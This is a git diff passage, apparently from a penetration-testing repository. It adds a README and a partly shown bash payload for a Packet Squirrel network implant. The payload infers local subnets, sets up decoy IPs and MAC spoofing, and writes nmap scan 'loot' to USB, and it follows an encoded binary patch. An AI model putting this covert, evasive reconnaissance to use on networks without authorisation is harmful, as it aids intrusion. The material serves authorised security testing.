zw!52T(3u=cpkQQ?j^E_hwfrmivEk@+>rFDk&_u8(LOFQ}J94T|87x;gC$~eu@=qH+ zo#H!S$c-AKXDV>VKHcjZ!a76vd&G7#L3GWwWhbEr2RP##cgL;`bi&ewnS_&4x;}^a zj@K8ulBLK20r_JcxX)hQhv!~R;#~&X<{6n)R4D_2@6evyiuWHLSj%~&Lw9b4XOc03 zMmFxoPu9GzT1Wu7wTYCo+q~qr1hz)s>-pC`DO*EXBhGI$NG+ye5|23mDU*;$A9tU| zkyaUIj(H#>%U!HDaLbYMoQ}OZ`~Dgio34>2iy_uB6p_Y3&JWi=ueDc+qL2m~)#Vsy z`h)9$e!0h76J31979XQPrfs3KZ6RREAp5=4kHll}tC}Uc!#&j3Wmrbwdix*G9cvoS zb+@>ZZH&HICDl(1G06k3Pw88?)`D535l9j_He`Xp`9^W=kWb@^&U!N7v@}h`cXp># zyxsO#$w(m_Z*GL2Zcoz!wEP>Wq_=WiToL8mNwHOaP`gMu$8Nu&tSRJ)>_8+4Vvoy) zG1r~DnED8;&(_vSu*!M8%1PyOL@^s$bmP4a*jC% z+#WwKdbM+JHIe+PMXtt+i#iv}q(& zA!LJ&IQ}1Fo}K>ymuGz>7YQhrawt=V2n!)Rc0c`NT($O|67Ci=Ldt-C_BIOR9XAa0 z#|J$)u86xM87A4@Xty7{7?2qV8(SN3$Iz4hezm_ZnD9GXI>vzg=f>0c6OYR^!}xag z;yIaAqr2N?kxF`D8U1c&~+a#(j<7FIeQ@DLcr|0#o(NAj>_3b*w@ZlqMkghU| zjy*BRVeB(qPwe>u+xX({G=-x@(_{nh)Pg%*LYkS>j(6G{)7ucj5_VxLBeZ#o%U^Mal$r z<#Wa`I#vz6-k*DIX=DV8rAd6O;wMyg7#oU);QXWUHGAU)q?X?ob;~~x>b4e;-e26w zY?IuB7nWsg1}nIsAPxu^&o#>*7u)@@g@=cA4NWxE!#F6IgYdJ@EbZ$En(&jW+SbdY|_ z-Y=J0id!EQX!dq8ru&JYwsmOOaudsAhFqKi8@D2c)Lq-R_2qL)RH{Q=j~v%@=~h5S z&n$G2Pu={go{{1i<3V#PxRnmlz+~eX>Be!4*U%5}8vMm`b+7oFQr7NdMs2X!A`;^R zYOYQ}=nn&m@cn1QQCM8ON}gM1fsMOcJqYd6sxpMtmZzx-of*<-`mEB}T;EEDTSSP= zaS3;iCjo#w<0J!v(DPfq8}W9la3<5Evl~QAZRLm-W?o2PlZ<+2rEy*nhf;Z@vSEQb zw0n5qZXJEI`C_{(h%US<6}0|S2;(?IyaSJ$a0`r(cZ1w?t}3ue@|&k)ry8!Eq-g^8 zSh$MXXNoQ4jn1H{d|-jkBh=vcz^;BBa`VR5YXyXM7Emka_p@zg0AYS!N{m)rwYH0G zt3@>PU0$O3O}e{#c=3cTkz!5et4yF%2z;Uc}cvesm4StI%6Jg9cS>5fK0=m&mr zST*eK(*C^zbEoirkE>W1&Z62?mXOJblrCIjj^uSXd*`7Q`#dGEXk%WFhIl&p@2lB>E zMmuX;cD*Gawo@V?1zmgNX41+>1dwsJvBpJxPVnEy2Bk4XfhAmte~Q4_(GjF1YkQUMLibGQjtO=XX1PZ0%f}U>*R;>T7SW!M<6m z6YQLJJj&0;(%a4C+1$w$uttQG$Yx!*0F2`Wvc!M2^se*a_NQn4vud(C7rTuet>QvP zM3})j7$p}!h^js!{g!-Xph{avOKo1qAPbebiY(=G_gTXXVCN%&&r0K9lTpxh{CR*& zXzD{o+n0a_Lwn-6D$}P{Kf8Snx>HX>=xZ%H6}y4-ksHDctival^B8PCgJUA`_;;^V z@Tiwhvr!x^aD`n4)yZB?2YifYKF8X;Bg0zhYw>q(V}|W+S=~Ibu%xP_00&HlC-SdZ zu-C1vCKlGZfG|wEb}-sh_2eE;UJw5OTvyHF>Ca=OM(W7*4+d*PQt<`4ENc{lf0~Xk zK-zJP`;NYby$-ym!54PN#hPR;vH9nDM+7l{-8Ok2je50xCk#iI2`}-#$sT4p-qBmJ z^1tm<;-v7!*NELu`bEk|YX`GDDU<&Ie1@-#?qmZWFCLx0&r14F_UP1O9yl6!7??88 zpZ0u|0RDTwD*3|F2;`A`)yN$b{{Rv6`1Ve zSg>T<#~z=KE3oj5%9!IIrs%H3@)CL?g##b(AWka&m!aBtYU*uLAtPF(0c3$=E$1l& zNZzAp-;TWpHP(1z;j6=}&aZ0n*;x55PBLfQfulfsg2d$dEk#Ybc>sFCh3c`PQaYt08jHDt#e6o!7;~K z4wmh88%Kqt%&BwcAoX6{)oZPD?Mpl<`?ZLG)s1bsSF{k^1(>-hkM8;(&aMe9Ba(40 z7H9teT&J=1u5BLYL|cx<%e_+C*F<}TMk{~|73ga>!g{riuXw8^z$BsCtJGIPBpOzs zqsMD(t0o5L0f6TR{A()rNYk_>)9+!oju!Jmy9&W8CTppKe-t{tvcgE)bWT-NjAxV0 zTGe#ROA9vC=Z-b|JS2_hAxQpJyW)6Yw}NZLSmP)6h~aqpX1uG${vo>YN&dsNlQ6Ib zV27`$&!sg9O|F4-yv?5s_}(czQU3r5Zl!9od4XZKw~Tzm0l*)jCcQ(z-W-;DOTQOu z7jhfb4HQ<&<76mKaqii#IqOn1GXB%641H6v^0CXSHu1(aHq3Dd-A?JJ%!VRrrJK;|l_>Ju@u+8LU3Oz|IS1ChvhhcV#rK1BIcztu)^BYv$FG(~_6_w^ zVffd}IxU^O{;O$ia$G?)$dVNM+erZ9-xc)Ew9RwzOGEJOf`MV8>Bj5I0AXCAjy(Mp zxE|(=T24`3cl(N?q+2@OX2#y)$_w8hG5#Zux_{1V&vh5pw7(Eq>i!vZd$^9*ib-~) zsn=_8dyMn?V!O4xnj0&PK2zq&au1Xge;1{5nq{=Q7GS!7GqKvvJ92pXS3FybD#}X6 zKZU+B+-V*gSv5@#@M-UTBsQ`a3{!IzYk5?h?G3#$ae}d*LS>uB);|%ZkHk7WQd`9~ z4b(Dy38Lwq5b(YBp&3Lj ziqaB(@lk+r>x>V;R`Oi%)oNoDqbr^F!kyRNKGQDEvcwf60D*#kbk&FPf$p2)uB&AR zq}wHy2P(3!?hla|+DG0{al7%)1mslxp8g@Xi9Bzj+D52R+G5NPKp}D}zsC8mrTDw7 zTIt%2y|vzB@{ujop9b0x3o*trNdR+@KML)HTEf}?05|A!RFZY{{$JGKJVW7mbQ>#; zb}L)m{!o#;jA7(Q0EI1patS1;=!LMSio)=&uFfJb-(1HulA%j`i*p+nIl`+9t7kp- z_O8=XxO)aS8l}T&5(w31ORcJ|$^aV+;jn&eXMi!==B)RI_guBMH@Z^=xEmt>07?XB zJF?ivJaA88*0N7cO18Qh_Auz${6B3r(7|=)fpV7ckKPr|-gA(7Ju{8K5C(C^__xCH z*j_<*q3V%dK)>gV(kl&VhKbv7Y{5kRv9?iC%f|PT{o}5!VGB(!n^??&1gji{&C@pIF@cac zOpN!>Lx5`Ai`5X5>Tyc;x}D6IS0$~OlHOK#x?~QE#~+_hYN?~!TrY`Xw~jTqLn;Wc z2o3<`k<@em`U71KnWAbow;JW_kj|F&2nDp|z>S#5tCQ0Q4U_Z&x-SRla@)lQtE}JI z$9XinERBPQ@ndhzL6sVI}n&7tmB-cx7*%;V%tWCAcTj{eo+Ul5}-#@K*-;85>ol@@JK+3a3V;SW2$ox3P za?^hCq?Mv@*C^0Uxg=OnsRg1nf(QGyp8{eVB2^{+wrb!;ZR zYnK3++BmQ|!5JieV!ZP*TE*o@Z@N`)EeA{vyr0YSuT%I*VvTH2pWjBNNe1}Ld%cNoA7~tcouYLwk9-g&Q*H513O^$SY`G8@IU<24>arOG2YQ`EXj(2Xzp?`d2 zx=|g|Y|iD}xgNEis%|bpjyWN2Fkk&!9+>0kD*phGk{K-S9w-!@$q_29r#z5J?0*W+ zBHv9c&8SH{S;OHJ3Y9{oS_T`GAIIxk)`7u)uUx>ZR!u82c}LsXSH^}0N6$G2L9Ptx{W!?k_bQRBjX3^D}oxFFg_YbM=A52 z*;9jz^XdA2wc7sAT9WD?5bwT3M@=q3cBb9K&5s8jp5nHn@vl=lp9?0{v@HhLQSla- z`gWfr8kVIk%+TB>^qx~OV%cnfcVmp>I2Zz%r1)CPNYi}1D^Iu6t=de<_Hi5mh$kQ} z(g@>>bMId)d|3F?<4p(Rr;T*G4P?V@7lsz=L)YS90Se zV?SE)9p{CJ7g}w}vN;C&)eFQIjm*FTP>+~$2sr99Up@Rvv(lyUbdy7>s}zfy1%pgBnde}En*Qy znCLw~z^cK?*}oyKR>adayB`bcHj@^b(iS8BT8}$v0PsD>Lt7fGwi8dN{i4?X{>&nj zGAeI~vXV0Y04~$hf#`FbQd;WX57XgT?tDLD_aOqGEN|=vOOwVs<3EK{Pa5bNrLx7R zS&exf?(SJ;5ASo||;`)^J}Swz!U15Y2&r zTPwJIFf+%kc9xnox7(i9T{x_PR4zt*#s$7%?Tx4Kt~%I@=+SoN4-I%`3)f5d439kJ zq?Qohb32f}J1_tf>w{Vsfc=r+y|^=&V{a}+!1LG3V7UPBbGOsCO4@?T*41Q|7~0Y$ z1V-Zl!xBSB)0N3@&bW^mYRhiz0CFdW7L1kTB)i54?e|DH>?@Kn=NC2Ij%!%)Eb(5* z)(_+?@Up$SsA$wM1>{vA{Mh-pCnOP$Ynr;&qr4Wc6h`LOS^ofkc#>nxjJN?D54ZpW z>IN~I&+#s`eWu;&T4Z;@`P$b7DO@9Hq!IIJnBo>zHoErxC8WlUQ^0G&d2-w)Wx>S|gp`>h|pm$y{ft z&teZbd#OY)E{n#h3M$DM-JQ7kc*(~&91c&VZ%&yHQpT&PKB00Aj8c6hwGvY1&tEeJNe3tCdJZW&!qbwr?lmMv!9{4#wjc?s}*G$!3 zJu_F)wB1%%js^P=e9%A=1IFe!$ILtQ#dzykown~P$!sKTu4U@4><2t!Aa|~k+fjf# zFlp}}m@w=m0Txm^FiidIpMISyo>bNJ4oLMq22Y1R9F^_vJR^5{WovOHwx%E;jhCDU z$RnoSayjdqn&{t4z0$Oquc28D+<}YQ$e_lfCnOda3Nk&1T=lL4!~Qp!N}M^dwpx^it-PJz8kfh#QJuzrAF5Fmg_3Y zv$1z_RhQT0IXTB+@6*@o>9T8k2g|oN=#M)SE@|u7{PX>_H3=_2XdP)-1oXtga$!WQiu0 zONDgfX~4-NB$8dQ2dN#a=r4qN>=(LCoP%N;>tOOA=^CptAS84jDEr?2mF7=a+}*oq zie5VK4bHcrY8C-4RjzI4@+6dPQS&ia_*~<*-Vg=SBz%QmNXb9HkpZs7Sy%fk$K<7Woruy97E2Epzyh*HhR&VVH4zA2ei+L9R)m@g|{hBvx8%Y+d)WI&j|D?OVEcg}iNjXxe78YR1M-lt!tv zFC1c%gjTmJnYCnkuA_4jcvC^v(m-G4EY}hvAAFaKL5Rz&vtz=smeP{41M+A3FEU z+mWBc73g0JtP=ag)@dU-G0Fti_^*z&!L93$Hw%lE*m5)uJ z3;zHCuPpG^l+kF@YH})-V1iEfE&LDg z?vbGQ$4iRB&0}yR86U&@rl>wE3GKcsYRXAz{x3<@|r5PMVGt7E6m3ak<{lAw$+8Osdgr%!%GX&sxfn`-tw zpG~y6m%}#SYDG(jP~Kl3AnT4h@_GLN>sOI@=}oq@k^#GEETD0cxEMe8(KYVUJ+;M> zJ+tqIF_tI3IRJW^@oyUF=IU`IPxDK1K`cf9+As&PI5o#kOPJnKc04!6DKk#YfQJzm z`7?(3fhRwKtQ`wd3$4XDBO)!XKfUOGU(&mO5!slDEy++99)Xl&^3PALaaul_C)R&< zGOU~d>Ba?mwAyjh;*@o|JGlPOGQ)hIG=g2O4*-HO{TrvXZrRvJb!#wY%18)2a-beR zO|{QyC=zGy3d3fsdvADiA9tdJupX3eweOjR@40NF4&Ez7Y+daE_3<}{x#hE zCeab>^$lV~J5=md1B?^T=m+OhD|<1k^Ba1*NYY1g;T1QMoMl3uNIt`A^!Kd!^*HTx zsZI!3w`~W5>(q8VdC#S78K4&iE2nl%g4um%uAC3w9D{^c2?5-AM8^b93gC}^#8$RIe{Asj|?rCZ_%Vin_c{Y{I zWc=9d1A2qgKT7mZ*?Hl(_>p})L(5~NNV3Jx%HC{W)6kfByib4_sw>tmCk%PHRs^@dlxyUB_`@do`@FxOI5kf(Yn%tddB; z9141EKX{RkK~mCc%xT#A^WjJBML&uxNL))($SFPUox5C!i4aM|` z(&|$#)P-^t9Flkg3$%ZC80Wosm8mQ|-z0ZB=~?Pz=|2t)%%5Sn)FV)l2bT(Pg_Jhj zS--J2YF!5*3irrRWO_`04u`+xXwC{sPz@wTqT^^bI)a{+bzkoO}{=1OhGNl zKQSaPC(w^$V@vTR#+jwrT$v5PYh;Z#-~t)<%5Zv~K>Fv|Z-$1z* z*6DF>7Tp_TMQ ze`{+N_(Yy+fQO9GZ!v z;wkU6MKYPB3@w$yq6Ryh47NGvf%zKnKZrgmk4#&cZO54%+^!l%EYAz$Vfk_~!2_q~ zUg_~CU$cY5*ZT@Aj202pu`%p8UO51;A6(bV9x3wfZ?SaGEcWtD9Z@!xVUjX=1Z0f& z#yi(m5({=j9rYrFwdCf-}mDy${caV3HQh!SncAoX>4MiM@^$1 zS|^fZP&b^CFfu_o9^GrbS?*ri54lyb(ylFJzp$G56iaOJv0_VL?P8+9Z7QJEq?D-|b#HsMY%GDoiiBCg$7nYAa9>TA}& zc#Z~3tD_zlu}}+h%VdhL3=uu-X%(}y(*qQ7d1N31fE4>=ae#T`ilp=c8*-9n7^Q_` zKt}dbF!>)YaB?`{pT@LqW4Ze*a$H-a=v)aSMJdN+ILB=BoDBNa1hw++8p1h0c{?Bu zk|>F?20ml|00Q9j=~{M{S1&9QU0j&f=jIU%0{Z~TQa^|j`X5SCu+e5~4>H^dZQ-}` zJg1CsBvr@&j1F=#*#qAmmaHV3PSpI?xVm^`d?N%q7!XHMf)5$v9Al<)P(fj%9Zu@y zZKRgiZZSmCGh~7XBpi+o?ma4DqemZ>@yL=c3a{_-fj@_DeDydWfsvZc+SVFmv0X`b zeAfl6RS{f|-Q*Ay@J0yfoPHJA=w2$k5iPh&h}AfiA&FKn+#X3?-0{aidJkS}Om&_s z61Fn4i3+}OEqcVbfuC&H#AdXHzAae2s{o*>FHkOUo`v^TOBvzR*_>05i#>{cC>tX zE?8l?Zw&nUh_uu z@Pgl=>vrcaYsFNoEkLk@H4!6mUC` zao+`xrE%1PYR1uQ``@@+d1#R{4-geKeAY~%RNER0+JNUf%4=7 zgX_pYopb&IznwIscWCC7LagL22LlCEdIboa_1X`5>HJ%Cw!Q$po8^DAHtfhU8<5O< zb|n54!^)l0Dl+AgYq`P8quOd#QoY1+I=b;8;PcZpkEdu>ZLJGrL~ktyK3~&{p?UEe zPP4E^l=6X(2 z6b+Bwdz$Mt4Sls}VzjcGN`YZ)#(~28zTi{5x^5?LkpBP)jS4uD)@!?CsT2X@jxrnA zk&o+LrM8h{450)J#Rlm&U}uiFuRigNmaJ?o?Qbk?wIy)zTyMZ6bqCwEZfQO>dzhiO zyHvE*0+mEly(ahV{&8B%TQsc9z8x9oKeVTeQ^WonO(#!gw!hSaK`B-ozz$mK#5aajiGQ--7Ek4LE(t7g^*H=1&HSu@2;qCzeiEN0 zFI`T0v%I|x%_=SM?p?b;!T$j3SE76=@l;+L)={E~UU^tTuFL_APhP~F_W*X};c{XK2hWoDHF6Jcm=)Z`rMAbN? zjiR~T+17YZ!tvWhX)W42C4wR#%ZZ*Cq#fE0alYtNPC zCv%}$E0%PM3zc5`+JKa2OAnuDz%r{0 zdARk*Z)$B>*t@i@Z+s=xWz>En>8y_u+XFE|2l~(5Ki%{d&3ty64L9O9ism-nd6o-u z@j4d|@>_z#1Qh@Q-x<%XcApF_?IQSvr>M4Q=2Ve`1M>45a0PK+v_;%7{6N-Ke5bhG z0xL4$#2OUHCkN#_K*%2{KKMS3ANODTfAl=+%l)JN-Th7pFD`sRt?Bn39a{@GcNWv# zt-AS)ssUZ>eq+!Kf(htz@|w5t62>hk#L2B(xRHTrZKBECNDLUM+@Ov*;QXhc!KtGp zw%74E)8v8|C+!pYqjk9-aD%jNjOPWpz$byX2RBr{y_;HCMvr%GdKZ+QeWpek0B&3l zm}CMQ1d+}TYAtq!YX+4v-A^T!opttU;NKa6Wo?_o5Lf~_9DfNU1A;r9eRkUM{28}Q zmdUQIrIH!rjuOIXn* z9Wf!*G;)^_K^QYyNW1)r0-VNyxgRj&oOJF;rB4*mH4xV#Hzq}_oECC0A zTed!LT33A6MOj+R@~s2Fnl7cN$z`i*nx>m>aVu<%BwS>Ixn>-KtUL6si(T>Wg0x=| z!*8YOC@ihQrN7zZ+bUpS9pHjV>Ux8omDOMPPRm=fbkhZn_*Z-nDzt`u*(87)4srsV zeBAK7gIqPXi{d>7Tb5lzO?zOa_691*x#YAve8KfAU2v+Ttj=lDae5wsr2Jg8y^z>X z0k&0KZ~Id2Bi(b?^Q@hJ#IvDmhq#T91~CL|hWnr%{-eJbuO)p6WsvJ;;`&HpZSqTN zVtl-hMl7fFs5M=GQPyNgG}x~uRxD%N5iY~%GoFHy!&7eYAGVra@uTBSR!JF8nY=pg zEWU@g^5fdFd@ZT@`qRm@;6zJfvB>B1tnHefu_3ob0Hzhg@wAUo*YK;J9@8h%^{s`K z#|4V#0Cwx|{HvppMOe$3w{y@eWZsI;7~O`>I%6F_0(w@yoPNa;w#~{Lc}#Q!up{Zx zvNXw~h9pTx%+a?UhkT!@QCbnRO)^RxvjhxJPMtyj0KRivvPVo!Ele5FnNTwv1tXTu zNa^pI^ysdn@ZW_Ej-PM2?445J2gc`U_b|`4PJVz_3*nS_F757Z?fm)ecgwMcK-voe zewfJjtqHt)r|Dk{ZzQ{X-s&km%&K|Z>`ZDu0IE3msDy8zRh70U)#tj8!0qDOP^}-? z-dPJi@01K2W9j-=IjmpU>K_WO^;u_%EmAvmW>s7_KPevI{{UL6;-3=T$>AM4!4|G< zEfU5Xd1n#)vg9uF)84qxh!(dR6kbevir!n?ro!sS8~|~T;p4Ea)i}jybGb>gl+r^- zAdyHcNZ|HAC#1Ht8gLn7s_>HJ@%4oj?s`rRhVuivx0lzkK}8w(I?+)8cu#$ zk0%)*WDn1C_UtO=t*|C`HrF8efrwzNJALc{pU~s+t%x-Hd)*opl$VcSK4#pN;2a-u z#{_ou;<@pD)+noM`^jL0%1ZI_0=OTUJ$opvJ3T=xK+8KcSc^K>T>-4Wn{h95G{7k-`rq1mqV6l>ZU*AK!9@zu)uPmEc zw$yC|;0Wb*5uO0u*QdToABWPtNA_HvQ}GK>jz?3wN_OEu&LoIu^{b+-Q9m*#@U!Iq z0NM{izS4d&c)jl}o)x;*?iT1XrE1k=nlD*YvLs{7(3z;-3y`kVAK+n~C6A z9e;UmavKDredQs682hIl_42pI4~06f!k-n~X!p^)mgMfVy4i%dkJNjPgmxg;TyYU~ z9XV+AvCU-kU5*U;RMwG~m<1qbzoka&gN$^oEe;XptkNLboUTvaKTiJu%D0o{R|rP# z$D#N;z-xPN6qDWg5KMNp!~M_)KXeS^-x#L&o8k7Oq+Z&hNhFDOrb~8YAhdm$1KS+d zhllkU7S1*kGd^*!N%Ak{>FNDC^u8t5@2~ZHRgt5Y>=xT4OmdJ676gu*U}KKBuMTyp zbDoNViRE_Ix}B`^BRiyMRAA(m+IR!?>0Z0=`&}L*va`~zA&dbssBC~%H5y;n( z*ENZ%>NYy2vH~PA?*{}Y2upLEdIS23cZO}{(7Z#ZU6`6RF-enaTD95%Pd=- zMGWzi9AGK_=qz!NNCT6$y$Wzt;w7Rr<&#m>?c=wa8>Ra?;^yuoX_@h!(h$LhVNMMKZvjOJxc!O@l$WwC3$e9C(VqO8$iIo2e8dXugMdA zY>FpOG2JuC13>onr)t~E6hagNvbNle@S_+f1D<)P&B|ZMut|A6_>6gvDJnN7vz^Q> zWgL;q78TkU)qY+`+q9Qol>Eez&IV{ajGG$`M&Otl>&Upau`#4qE+*bG&XM5!h!h4m zBw+K#YK%I2%W-vj&bKkd8aADrfYJaO2_@EH`$(0Knp5nq=X`E3 zO748*oxo?4pQb5voj&av?#EEoM0T+^%CWxb9fL3n_f82i4!d|`&uXjLTx(LCR-f51 z#98f9@;N-%r)fm@JombUuO*<6o24IdzCju*XE+40KD)TdG|erbQybjf+)a8S+^CS?phXS|Jx2$( zU8MD*<0?b1rOF~0<+Twhk$kPmyDm$jobbH%{^;VaLf1M)wW_2{*4Gjl<%r?aBOog` z47+kOo(@5(mik1?1k$`7TumT2lkUaya@aj_wXz0y^{q>!i%kz5tnCU%Fn!3GR17c= zxL~J@;|H}&t+EAj4T3qPOKF)r-QdKM0KGv{nD!mdwnr7yTUx%MYxaxjGYnvsi-x-loT0JGUs;ypP=VCJODYa+QIGh+ixwBD94n> zILHy5xWIKF6Uz>tsH|$wl(dci0D)3mT6{{;tT)ARZX=YVG5OGWGB`L{{V^pNb~W(#9oKZAGDvq zzZLvK@jTjxhx|Jo$R$`#lfxO5`D&PL?hhM(m3WQs?1%AwV6rEJ%Sd@6`%ctj{{SM_ z=nWOw^*D1mUFt%`O+`k?{Q8UbNBGeW9C$_dsUb0{T70rPBja5W&w+T&rEU&U&NnE`(lc32?y1J#Z7cPzrnu@Z|poc&|SrGYj{au8dPkZ zhVBK+>bhg|X1M>X5gS**UA*6;fH3+ppJ zU9|WGLO34R=}(+H}+`whkbO{In;ME!1kk@6>p{{Ur=8jHQ!y@N{l2(_p-@b$D%BDFC>Qf;T`u_ah(udR=SbhlsTiYXa%Hh85@c(Se-y`K#Ef zO2Sz^2|L~XALMHs%Bohf{=R3C!|>l;wS_`yitY(xnPcbBb*k2X4LnP5lTCT2ylkY1 zE!yHXU-!6fzMhrrv{C($M)$k?KgfUDb!}@e$NbL?wD@1**{5c|(;47Hn4&i^o<~gl z)ux^W@l(8$u9DC(U5Oi9L`FXb#d`e|{{XTm_kV}^31(GSMfm>!ndZI;@MgKCc!I|6 z{{T%`k}dn>SrFqWz;F(FkzRN4pW#1^d|BiDYU0Dfvg%qz;fE3>)wE(zAw()e$QW&4 zNI1yn83z^gbrrlYG~rL#rtN!}PZv4Qo$qTO7ux>J-xYM2QVVS+NiCLr@W!{$28?GQ zu=4;Xs5mE&%DPQI;1`dDgjUyn9L{Z$BfjzpRwAH|P`(*|*#&qbrYq{oD0mugtNy+~ zu~S_SmhS%mX5SWA!EkJJxbEkivy%5Hi@As`kX+zo1A(4;VUw>?n{*L;xnZ3ojq%9J=P|Z%!j@h*+h0b} zOZz&Pcl~^a^||&($(n!c>+vB((LMn@2E+N8Z4*l0H1b@+SE1!&%P8xfnaL)!?Y;td z^2JhXts>J@xQ#$pK16M`Psq96GIP%)3}?6i{Xs=n)G5BN`uPII&2&e~w|}#zk8fuC zbhgt5jlXwlw-6}_3K?&S^PeV*2Y;k852^oSs3ofU_;~_ z9{Z2u&3&guHG!tOu{>1Ig&_TxJ}6niByfB?+{_79ZD!Rl+|`;m*A(x%_l&(veCROzi7Pu+|o7u zxG5L|f&0#+{{SQHP4R#1_wff*@K&4Q`yU5<_R)_rQ-5qXKP8X)&g{h3*R)Wubk@M} z5@*S}*TEl&SJseOLEz;@vyD~>e%ovbWl#bC09ot&tB2G-We0{^kE%nv1zt;`@FlnGh4E%N(Obe_x(BJ$t-62T%Fwd?mwqrpk|^+?Rw0#L z^&4Z@30uBcI-M=Q#DPME#w9 zAqZ~mo5KyZV4EFpt-u9IBmP=vzCM-p?G(PN4(xu~N5~U?&fgMbv5Fz#&BUF|uX}Iu zwg4ynXMTR1SEc^Xe+;}~;I9_lUU-j27Iy8Yv@y%}n54@WjP1g)Jrw(K?_TLeHHLzB z6RO&=;~ppYcjCBwdvkTBX%Xrg73(z8#?wX`DN7T*8JIHUkZ>{q1dL|_{{W5t2E*|a z!4c>h+PuviMWK>Xtt2v#c@8-k{6X}uSfaVBWwh$PZf2eDrN79PHkxap`OmC=#NQZg zwFx1y@VebwhQdlU8&wQFaAXJctCkVX{{RvH z09ZPZ59Ln(0ETV&sQ0VC!sN#8$kH48Y^rmH{{UH@gzzivDk*qQ40Wz)zi01?KiHaui12l)w9_QJqrQN7gg$UTcsKx` zz3O=BkFe;h)>lPr-}Uk(VkD1}bl=(2;svp_WYMmz-wP${HlYIv56U*E57cFkJaNW& z&5sRy1@ZozE+M(_vCK2DvYg)A4be714~Hy30Wi53`MqoE>L__#C)NHR_ zg}zV{yQD5(B<)?G2FS}EGtb$SQT>-kyZk@Me_Eepd^X>*&&5G$J-l8NAiI37bqisE z^K*|d_uI#}<68P(?7{IZZEe&a*|b%EX418; z{{Rp2AJ*sOe0yvAJA6+XM3&cn97~6lmQlL)+!TEL!H9pG^Y!(qpZ0n9k#`D-d@bdc z2^j-Ww{40(uaW`513j_czPzWeN}ueyJ>TK}LRhJ;$H}(;0JHDJkGBh^(jGQgN*7zW z6^Q_CD~HElUvt5(zf1Td;tOau9RS5Vgg2UQqVo{<$q&%v@H6;V(3Dh5C!;Q}@c#fJ zzPUSE$nnpH{{RmBPvPGgTVCI3DGi90N8k2@V+b&^1;8YbPC9hYrfb;fqPsA-SYctw O2KT7S!?El$6Rp&SW literal 0 HcmV?d00001 diff --git a/payloads/recon/nmapdump/README.md b/payloads/recon/nmapdump/README.md new file mode 100644 index 0000000..76a9efe --- /dev/null +++ b/payloads/recon/nmapdump/README.md @@ -0,0 +1,30 @@ +Title: NMap Dump + +Description: Dumps NMap scan data to USB storage. + +Author: infoskirmish.com + +Version: 2.0 + +Category: sniffing + +Target: Any + +Net Mode: NAT + + +LEDs + +SUCCESS: Scan complete + +FAIL: No USB storage found + +SCANNING: Rapid White + +This payload will launch NMap on a given interface (default eth0) and scan the local subnet. There is no need to know the subnet as the payload will capture and infer the subnet from the IP it receives while launching. + +The payload will store scan files in all three file types supported by nmap. Also the payload will create a log.txt file to dump process information which may be useful to troubleshoot errors. The default path is /mnt/loot/nmapdump + +The payload has common variables that maybe changed located at the top of the file making customizing this payload as your deployment needs dictate. + +Updated for the Packet Squirrel Mark II by Hak5 diff --git a/payloads/recon/nmapdump/payload.sh b/payloads/recon/nmapdump/payload.sh new file mode 100644 index 0000000..f1c333f --- /dev/null +++ b/payloads/recon/nmapdump/payload.sh @@ -0,0 +1,276 @@ +#!/bin/bash +# +# This payload is for the original Packet Squirrel. It may not work on +# the Packet Squirrel Mark II +# +# Title: NMap Dump +# Description: Dumps NMap scan data to USB storage. +# Author: infoskirmish.com +# Version: 2.0 +# Category: sniffing +# Target: Any +# Net Mode: TRANSPARENT + +# Updated to the Packet Squirrel Mark II by Hak5 + +# LEDs +# SUCCESS: Scan complete +# FAIL: No USB storage found +# SCANNING: Rapid White + +#### Constants #### + +# If you know which interface will allow outbound traffic you can specify it here +# leaving it blank will enable the payload trying to attempt to figure out which +# interface to use. +defaultInterface="lo" + + +# Number of decoy IPs to spawn +rndDecoyNumber=5 + +# Spoof the MAC of this device type +spoofDevType="Cisco" + +# Seconds to sleep while loading NAT +netSleep=10 + +# Squirrel NETMODE TRANSPARENT | BRDIGE | NAT | NONE +# BRIDGE mode will preserve the Squirrel IP +mode="BRIDGE" + +# When done what should we do? reboot | halt | nothing | poweroff +onEnd="halt" + +# Path to store results +lootPath="/usb/loot/nmapdump" + +# File name scheme +lootFileNameScheme="nmapdump_$(date +%Y-%m-%d-%H%M)" + +# Clear the log every run? +clearLogs=true + +#### Payload Code #### + +function finish() { + + # Sync filesystem + sync + + # Indicate successful shutdown + LED B SUCCESS + sleep 1 + + # Halt the system + LED OFF + + case "$onEnd" in + "poweroff") poweroff ;; + "reboot") reboot ;; + "halt") halt ;; + "nothing") echo "see ya!" >> $lootPath/log.txt ;; + *) reboot;; + esac + +} + +function run() { + + # Create loot directory + mkdir -p $lootPath &> /dev/null + + # Clear the logs + if [ "${clearLogs}x" == "truex" ]; then + echo > ${lootPath}/log.txt + fi + + # Set networking mode to user preferance and sleep to allow time to sync up. + # If set to NONE this will not be set and thus not kick you out of your SSH session. + if [ "$mode" != "NONE" ]; then + + NETMODE $mode + sleep $netSleep + + fi + + # Log ifconfig data; helpful for troubleshooting + ifconfig >> $lootPath/log.txt + + # Starting scanning LED (rapid white blink) + LED W VERYFAST + + # Run nmap scan with options + + # Now lets figure out which interface to use. + iface=$(ip -o link show | awk '{print $2}') + + # Set ipv6 default to null + ipv6="" + + # Now lets look at the ip addresses assigned to the various interfaces. + while IFS= read -r line; do + + # Standardize interface name + line="${line//:}" + + # We can skip lo + if [ "$line" != "lo" ]; then + + # Get IP Address for Interface. + ifip=$(ifconfig $line 2>/dev/null|awk '/inet addr:/ {print $2}'|sed 's/addr://') + + # Make sure result is not null. + if [ "$ifip" ]; then + + # Store for later use the ip addresses associted with interface. + # We don't want an empty 1st line. + if [ "$ipaddresses" ]; then + ipaddresses+=$'\n'$ifip + else + ipaddresses=$ifip + fi + + # If user has specified a default interface than we can disregard. + if [ ! "$defaultInterface" ]; then + + # Store the interface for later use. + # We don't want an empty 1st line. + if [ "$interfaces" ]; then + interfaces+=$'\n'$line + else + interfaces=$line + fi + fi + + # convert ip to subnet + newSubNet=`echo $ifip | cut -d"." -f1-3` + newSubNet=$newSubNet".1/24" + + # Add subnet to list + # We don't want a leading empty character. + if [ "$newSubNet" ]; then + targets+=" $newSubNet" + else + targets=$newSubNet + fi + + fi + + fi # end our test for lo + + done <<< "$iface" # loop to gather IP addresses + + # Clean up subnets to remove accidental double spaces. + echo "$targets" | awk '$1=$1' &> /dev/null + + # if targets is empty we have no subnets. Let's check if we can find IPv6 + if [ ! "$targets" ]; then + + # Collect all uniqu IPv6 address that we can ping. + ipv6=$(ping -6 ff02::1 -w 10 2>/dev/null | awk '/from/ {print $4}' | cut -d":" -f1-6 | sort | uniq | tr "\r\n" " ") + if [ ! "$ipv6" ]; then + + # We could not find any ipv4 address and ipv6 returned nothing. + echo 